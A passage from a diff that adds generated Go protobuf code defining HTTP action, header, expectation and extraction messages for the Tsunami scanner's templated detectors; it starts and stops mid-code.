Enum() *HttpAction_HttpMethod { + p := new(HttpAction_HttpMethod) + *p = x + return p +} + +func (x HttpAction_HttpMethod) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (HttpAction_HttpMethod) Descriptor() protoreflect.EnumDescriptor { + return file_action_http_proto_enumTypes[0].Descriptor() +} + +func (HttpAction_HttpMethod) Type() protoreflect.EnumType { + return &file_action_http_proto_enumTypes[0] +} + +func (x HttpAction_HttpMethod) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use HttpAction_HttpMethod.Descriptor instead. +func (HttpAction_HttpMethod) EnumDescriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 0} +} + +// HttpAction is used to perform HTTP requests. +type HttpAction struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The HTTP method to use (e.g. GET, POST, ...). + Method HttpAction_HttpMethod `protobuf:"varint,1,opt,name=method,proto3,enum=tsunami_templated_detector.HttpAction_HttpMethod" json:"method,omitempty"` + // One of several URIs to try (e.g. "/", "/somepage", ...). Tsunami will try + // each URI until one succeeds. Each URI will reuse the other parameters of + // the action (headers, extractions, etc...). + Uri []string `protobuf:"bytes,2,rep,name=uri,proto3" json:"uri,omitempty"` + // HTTP headers to add to the request. + Headers []*HttpAction_HttpHeader `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty"` + // Body of the HTTP request. Tsunami does not perform additional encoding of + // this field. It should contain the raw data to be sent. + Data string `protobuf:"bytes,4,opt,name=data,proto3" json:"data,omitempty"` + // Actions to be performed on the HTTP response. + Response *HttpAction_HttpResponse `protobuf:"bytes,5,opt,name=response,proto3" json:"response,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction) Reset() { + *x = HttpAction{} + mi := &file_action_http_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction) ProtoMessage() {} + +func (x *HttpAction) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[0] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction.ProtoReflect.Descriptor instead. +func (*HttpAction) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0} +} + +func (x *HttpAction) GetMethod() HttpAction_HttpMethod { + if x != nil { + return x.Method + } + return HttpAction_METHOD_UNSPECIFIED +} + +func (x *HttpAction) GetUri() []string { + if x != nil { + return x.Uri + } + return nil +} + +func (x *HttpAction) GetHeaders() []*HttpAction_HttpHeader { + if x != nil { + return x.Headers + } + return nil +} + +func (x *HttpAction) GetData() string { + if x != nil { + return x.Data + } + return "" +} + +func (x *HttpAction) GetResponse() *HttpAction_HttpResponse { + if x != nil { + return x.Response + } + return nil +} + +type HttpAction_HttpHeader struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The name of the header. + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + // The value of the header. + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction_HttpHeader) Reset() { + *x = HttpAction_HttpHeader{} + mi := &file_action_http_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction_HttpHeader) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction_HttpHeader) ProtoMessage() {} + +func (x *HttpAction_HttpHeader) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[1] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction_HttpHeader.ProtoReflect.Descriptor instead. +func (*HttpAction_HttpHeader) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 0} +} + +func (x *HttpAction_HttpHeader) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *HttpAction_HttpHeader) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type HttpAction_HttpResponse struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The HTTP status code to expect from the response. + HttpStatus int64 `protobuf:"varint,1,opt,name=http_status,json=httpStatus,proto3" json:"http_status,omitempty"` + // A set of expectations to check for on the response. For example, does + // the header contains a specific value? + // The expectations can either be ALL (all conditions must be met) or ANY + // (matching stops at the first met condition). + // + // Types that are valid to be assigned to Expectations: + // + // *HttpAction_HttpResponse_ExpectAny_ + // *HttpAction_HttpResponse_ExpectAll_ + Expectations isHttpAction_HttpResponse_Expectations `protobuf_oneof:"expectations"` + // Extract a value from the response and stores it in a variable. Failure + // to extract all or one value (All/Any) causes the action to fail. + // + // ExtractAny: Matching stops at the first successful extraction. + // ExtractAll: All extractions must be successful and modifies the current + // + // environment. + // + // IMPORTANT NOTE: Any extractions can be used to circumvent slight version + // variation in a product that would result in the same variable being set. + // For example, matching a version tag that might be present in different + // HTML tags depending on the version. It is STRONGLY recommended not to set + // different variables using an ExtractAny as there will be no guarantee + // which variable is set. + // + // Types that are valid to be assigned to Extractions: + // + // *HttpAction_HttpResponse_ExtractAny_ + // *HttpAction_HttpResponse_ExtractAll_ + Extractions isHttpAction_HttpResponse_Extractions `protobuf_oneof:"extractions"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction_HttpResponse) Reset() { + *x = HttpAction_HttpResponse{} + mi := &file_action_http_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction_HttpResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction_HttpResponse) ProtoMessage() {} + +func (x *HttpAction_HttpResponse) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[2] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction_HttpResponse.ProtoReflect.Descriptor instead. +func (*HttpAction_HttpResponse) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 1} +} + +func (x *HttpAction_HttpResponse) GetHttpStatus() int64 { + if x != nil { + return x.HttpStatus + } + return 0 +} + +func (x *HttpAction_HttpResponse) GetExpectations() isHttpAction_HttpResponse_Expectations { + if x != nil { + return x.Expectations + } + return nil +} + +func (x *HttpAction_HttpResponse) GetExpectAny() *HttpAction_HttpResponse_ExpectAny { + if x != nil { + if x, ok := x.Expectations.(*HttpAction_HttpResponse_ExpectAny_); ok { + return x.ExpectAny + } + } + return nil +} + +func (x *HttpAction_HttpResponse) GetExpectAll() *HttpAction_HttpResponse_ExpectAll { + if x != nil { + if x, ok := x.Expectations.(*HttpAction_HttpResponse_ExpectAll_); ok { + return x.ExpectAll + } + } + return nil +} + +func (x *HttpAction_HttpResponse) GetExtractions() isHttpAction_HttpResponse_Extractions { + if x != nil { + return x.Extractions + } + return nil +} + +func (x *HttpAction_HttpResponse) GetExtractAny() *HttpAction_HttpResponse_ExtractAny { + if x != nil { + if x, ok := x.Extractions.(*HttpAction_HttpResponse_ExtractAny_); ok { + return x.ExtractAny + } + } + return nil +} + +func (x *HttpAction_HttpResponse) GetExtractAll() *HttpAction_HttpResponse_ExtractAll { + if x != nil { + if x, ok := x.Extractions.(*HttpAction_HttpResponse_ExtractAll_); ok { + return x.ExtractAll + } + } + return nil +} + +type isHttpAction_HttpResponse_Expectations interface { + isHttpAction_HttpResponse_Expectations() +} + +type HttpAction_HttpResponse_ExpectAny_ struct { + ExpectAny *HttpAction_HttpResponse_ExpectAny `protobuf:"bytes,2,opt,name=expect_any,json=expectAny,proto3,oneof"` +} + +type HttpAction_HttpResponse_ExpectAll_ struct { + ExpectAll *HttpAction_HttpResponse_ExpectAll `protobuf:"bytes,3,opt,name=expect_all,json=expectAll,proto3,oneof"` +} + +func (*HttpAction_HttpResponse_ExpectAny_) isHttpAction_HttpResponse_Expectations() {} + +func (*HttpAction_HttpResponse_ExpectAll_) isHttpAction_HttpResponse_Expectations() {} + +type isHttpAction_HttpResponse_Extractions interface { + isHttpAction_HttpResponse_Extractions() +} + +type HttpAction_HttpResponse_ExtractAny_ struct { + ExtractAny *HttpAction_HttpResponse_ExtractAny `protobuf:"bytes,4,opt,name=extract_any,json=extractAny,proto3,oneof"` +} + +type HttpAction_HttpResponse_ExtractAll_ struct { + ExtractAll *HttpAction_HttpResponse_ExtractAll `protobuf:"bytes,5,opt,name=extract_all,json=extractAll,proto3,oneof"` +} + +func (*HttpAction_HttpResponse_ExtractAny_) isHttpAction_HttpResponse_Extractions() {} + +func (*HttpAction_HttpResponse_ExtractAll_) isHttpAction_HttpResponse_Extractions() {} + +type HttpAction_HttpResponse_Header struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Name of the header. + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction_HttpResponse_Header) Reset() { + *x = HttpAction_HttpResponse_Header{} + mi := &file_action_http_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction_HttpResponse_Header) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction_HttpResponse_Header) ProtoMessage() {} + +func (x *HttpAction_HttpResponse_Header) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[3] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction_HttpResponse_Header.ProtoReflect.Descriptor instead. +func (*HttpAction_HttpResponse_Header) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 1, 0} +} + +func (x *HttpAction_HttpResponse_Header) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +type HttpAction_HttpResponse_Body struct { + state protoimpl.MessageState `protogen:"open.v1"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction_HttpResponse_Body) Reset() { + *x = HttpAction_HttpResponse_Body{} + mi := &file_action_http_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction_HttpResponse_Body) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction_HttpResponse_Body) ProtoMessage() {} + +func (x *HttpAction_HttpResponse_Body) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[4] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction_HttpResponse_Body.ProtoReflect.Descriptor instead. +func (*HttpAction_HttpResponse_Body) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 1, 1} +} + +type HttpAction_HttpResponse_Extract struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The name of the variable to store the extracted value in. + VariableName string `protobuf:"bytes,1,opt,name=variable_name,json=variableName,proto3" json:"variable_name,omitempty"` + // The regexp to use to extract the value from the response. + Regexp string `protobuf:"bytes,2,opt,name=regexp,proto3" json:"regexp,omitempty"` + // Where to extract the value from. + // + // Types that are valid to be assigned to Extract: + // + // *HttpAction_HttpResponse_Extract_FromHeader + // *HttpAction_HttpResponse_Extract_FromBody + Extract isHttpAction_HttpResponse_Extract_Extract `protobuf_oneof:"extract"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction_HttpResponse_Extract) Reset() { + *x = HttpAction_HttpResponse_Extract{} + mi := &file_action_http_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction_HttpResponse_Extract) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction_HttpResponse_Extract) ProtoMessage() {} + +func (x *HttpAction_HttpResponse_Extract) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[5] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction_HttpResponse_Extract.ProtoReflect.Descriptor instead. +func (*HttpAction_HttpResponse_Extract) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 1, 2} +} + +func (x *HttpAction_HttpResponse_Extract) GetVariableName() string { + if x != nil { + return x.VariableName + } + return "" +} + +func (x *HttpAction_HttpResponse_Extract) GetRegexp() string { + if x != nil { + return x.Regexp + } + return "" +} + +func (x *HttpAction_HttpResponse_Extract) GetExtract() isHttpAction_HttpResponse_Extract_Extract { + if x != nil { + return x.Extract + } + return nil +} + +func (x *HttpAction_HttpResponse_Extract) GetFromHeader() *HttpAction_HttpResponse_Header { + if x != nil { + if x, ok := x.Extract.(*HttpAction_HttpResponse_Extract_FromHeader); ok { + return x.FromHeader + } + } + return nil +} + +func (x *HttpAction_HttpResponse_Extract) GetFromBody() *HttpAction_HttpResponse_Body { + if x != nil { + if x, ok := x.Extract.(*HttpAction_HttpResponse_Extract_FromBody); ok { + return x.FromBody + } + } + return nil +} + +type isHttpAction_HttpResponse_Extract_Extract interface { + isHttpAction_HttpResponse_Extract_Extract() +} + +type HttpAction_HttpResponse_Extract_FromHeader struct { + FromHeader *HttpAction_HttpResponse_Header `protobuf:"bytes,3,opt,name=from_header,json=fromHeader,proto3,oneof"` +} + +type HttpAction_HttpResponse_Extract_FromBody struct { + FromBody *HttpAction_HttpResponse_Body `protobuf:"bytes,4,opt,name=from_body,json=fromBody,proto3,oneof"` +} + +func (*HttpAction_HttpResponse_Extract_FromHeader) isHttpAction_HttpResponse_Extract_Extract() {} + +func (*HttpAction_HttpResponse_Extract_FromBody) isHttpAction_HttpResponse_Extract_Extract() {} + +type HttpAction_HttpResponse_ExtractAll struct { + state protoimpl.MessageState `protogen:"open.v1"` + Patterns []*HttpAction_HttpResponse_Extract `protobuf:"bytes,1,rep,name=patterns,proto3" json:"patterns,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction_HttpResponse_ExtractAll) Reset() { + *x = HttpAction_HttpResponse_ExtractAll{} + mi := &file_action_http_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction_HttpResponse_ExtractAll) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction_HttpResponse_ExtractAll) ProtoMessage() {} + +func (x *HttpAction_HttpResponse_ExtractAll) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[6] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction_HttpResponse_ExtractAll.ProtoReflect.Descriptor instead. +func (*HttpAction_HttpResponse_ExtractAll) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 1, 3} +} + +func (x *HttpAction_HttpResponse_ExtractAll) GetPatterns() []*HttpAction_HttpResponse_Extract { + if x != nil { + return x.Patterns + } + return nil +} + +type HttpAction_HttpResponse_ExtractAny struct { + state protoimpl.MessageState `protogen:"open.v1"` + Patterns []*HttpAction_HttpResponse_Extract `protobuf:"bytes,1,rep,name=patterns,proto3" json:"patterns,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction_HttpResponse_ExtractAny) Reset() { + *x = HttpAction_HttpResponse_ExtractAny{} + mi := &file_action_http_proto_msgTypes[7] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction_HttpResponse_ExtractAny) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction_HttpResponse_ExtractAny) ProtoMessage() {} + +func (x *HttpAction_HttpResponse_ExtractAny) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[7] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction_HttpResponse_ExtractAny.ProtoReflect.Descriptor instead. +func (*HttpAction_HttpResponse_ExtractAny) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 1, 4} +} + +func (x *HttpAction_HttpResponse_ExtractAny) GetPatterns() []*HttpAction_HttpResponse_Extract { + if x != nil { + return x.Patterns + } + return nil +} + +type HttpAction_HttpResponse_Expectation struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The value to expect in the response. + Contains string `protobuf:"bytes,1,opt,name=contains,proto3" json:"contains,omitempty"` + // Where to expect the value. + // + // Types that are valid to be assigned to Expectation: + // + // *HttpAction_HttpResponse_Expectation_Header + // *HttpAction_HttpResponse_Expectation_Body + Expectation isHttpAction_HttpResponse_Expectation_Expectation `protobuf_oneof:"expectation"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction_HttpResponse_Expectation) Reset() { + *x = HttpAction_HttpResponse_Expectation{} + mi := &file_action_http_proto_msgTypes[8] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction_HttpResponse_Expectation) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction_HttpResponse_Expectation) ProtoMessage() {} + +func (x *HttpAction_HttpResponse_Expectation) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[8] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction_HttpResponse_Expectation.ProtoReflect.Descriptor instead. +func (*HttpAction_HttpResponse_Expectation) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 1, 5} +} + +func (x *HttpAction_HttpResponse_Expectation) GetContains() string { + if x != nil { + return x.Contains + } + return "" +} + +func (x *HttpAction_HttpResponse_Expectation) GetExpectation() isHttpAction_HttpResponse_Expectation_Expectation { + if x != nil { + return x.Expectation + } + return nil +} + +func (x *HttpAction_HttpResponse_Expectation) GetHeader() *HttpAction_HttpResponse_Header { + if x != nil { + if x, ok := x.Expectation.(*HttpAction_HttpResponse_Expectation_Header); ok { + return x.Header + } + } + return nil +} + +func (x *HttpAction_HttpResponse_Expectation) GetBody() *HttpAction_HttpResponse_Body { + if x != nil { + if x, ok := x.Expectation.(*HttpAction_HttpResponse_Expectation_Body); ok { + return x.Body + } + } + return nil +} + +type isHttpAction_HttpResponse_Expectation_Expectation interface { + isHttpAction_HttpResponse_Expectation_Expectation() +} + +type HttpAction_HttpResponse_Expectation_Header struct { + Header *HttpAction_HttpResponse_Header `protobuf:"bytes,2,opt,name=header,proto3,oneof"` +} + +type HttpAction_HttpResponse_Expectation_Body struct { + Body *HttpAction_HttpResponse_Body `protobuf:"bytes,3,opt,name=body,proto3,oneof"` +} + +func (*HttpAction_HttpResponse_Expectation_Header) isHttpAction_HttpResponse_Expectation_Expectation() { +} + +func (*HttpAction_HttpResponse_Expectation_Body) isHttpAction_HttpResponse_Expectation_Expectation() { +} + +type HttpAction_HttpResponse_ExpectAny struct { + state protoimpl.MessageState `protogen:"open.v1"` + Conditions []*HttpAction_HttpResponse_Expectation `protobuf:"bytes,1,rep,name=conditions,proto3" json:"conditions,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction_HttpResponse_ExpectAny) Reset() { + *x = HttpAction_HttpResponse_ExpectAny{} + mi := &file_action_http_proto_msgTypes[9] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction_HttpResponse_ExpectAny) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction_HttpResponse_ExpectAny) ProtoMessage() {} + +func (x *HttpAction_HttpResponse_ExpectAny) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[9] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction_HttpResponse_ExpectAny.ProtoReflect.Descriptor instead. +func (*HttpAction_HttpResponse_ExpectAny) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 1, 6} +} + +func (x *HttpAction_HttpResponse_ExpectAny) GetConditions() []*HttpAction_HttpResponse_Expectation { + if x != nil { + return x.Conditions + } + return nil +} + +type HttpAction_HttpResponse_ExpectAll struct { + state protoimpl.MessageState `protogen:"open.v1"` + Conditions []*HttpAction_HttpResponse_Expectation `protobuf:"bytes,1,rep,name=conditions,proto3" json:"conditions,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *HttpAction_HttpResponse_ExpectAll) Reset() { + *x = HttpAction_HttpResponse_ExpectAll{} + mi := &file_action_http_proto_msgTypes[10] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *HttpAction_HttpResponse_ExpectAll) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HttpAction_HttpResponse_ExpectAll) ProtoMessage() {} + +func (x *HttpAction_HttpResponse_ExpectAll) ProtoReflect() protoreflect.Message { + mi := &file_action_http_proto_msgTypes[10] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HttpAction_HttpResponse_ExpectAll.ProtoReflect.Descriptor instead. +func (*HttpAction_HttpResponse_ExpectAll) Descriptor() ([]byte, []int) { + return file_action_http_proto_rawDescGZIP(), []int{0, 1, 7} +} + +func (x *HttpAction_HttpResponse_ExpectAll) GetConditions() []*HttpAction_HttpResponse_Expectation { + if x != nil { + return x.Conditions + } + return nil +} + +var File_action_http_proto protoreflect.FileDescriptor + +var file_action_http_proto_rawDesc = string([]byte{ + 0x0a, 0x11, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x5f, 0x68, 0x74, 0x74, 0x70, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x12, 0x1a, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, + 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x22, + 0xbf, 0x0e, 0x0a, 0x0a, 0x48, 0x74, 0x74, 0x70, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x49, + 0x0a, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x31, + 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, + 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x4d, 0x65, 0x74, 0x68, 0x6f, + 0x64, 0x52, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x75, 0x72, 0x69, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x69, 0x12, 0x4b, 0x0a, 0x07, 0x68, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x74, + 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, + 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, + 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x61, 0x74, 0x61, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x64, 0x61, 0x74, 0x61, 0x12, 0x4f, 0x0a, 0x08, + 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x33, + 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, + 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x52, 0x08, 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x1a, 0x36, 0x0a, + 0x0a, 0x48, 0x74, 0x74, 0x70, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x1a, 0x91, 0x0b, 0x0a, 0x0c, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1f, 0x0a, 0x0b, 0x68, 0x74, 0x74, 0x70, 0x5f, 0x73, + 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x68, 0x74, 0x74, + 0x70, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x5e, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x65, 0x63, + 0x74, 0x5f, 0x61, 0x6e, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x74, 0x73, + 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, + 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x41, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x2e, 0x45, 0x78, 0x70, 0x65, 0x63, 0x74, 0x41, 0x6e, 0x79, 0x48, 0x00, 0x52, 0x09, 0x65, 0x78, + 0x70, 0x65, 0x63, 0x74, 0x41, 0x6e, 0x79, 0x12, 0x5e, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x65, 0x63, + 0x74, 0x5f, 0x61, 0x6c, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x74, 0x73, + 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, + 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x41, 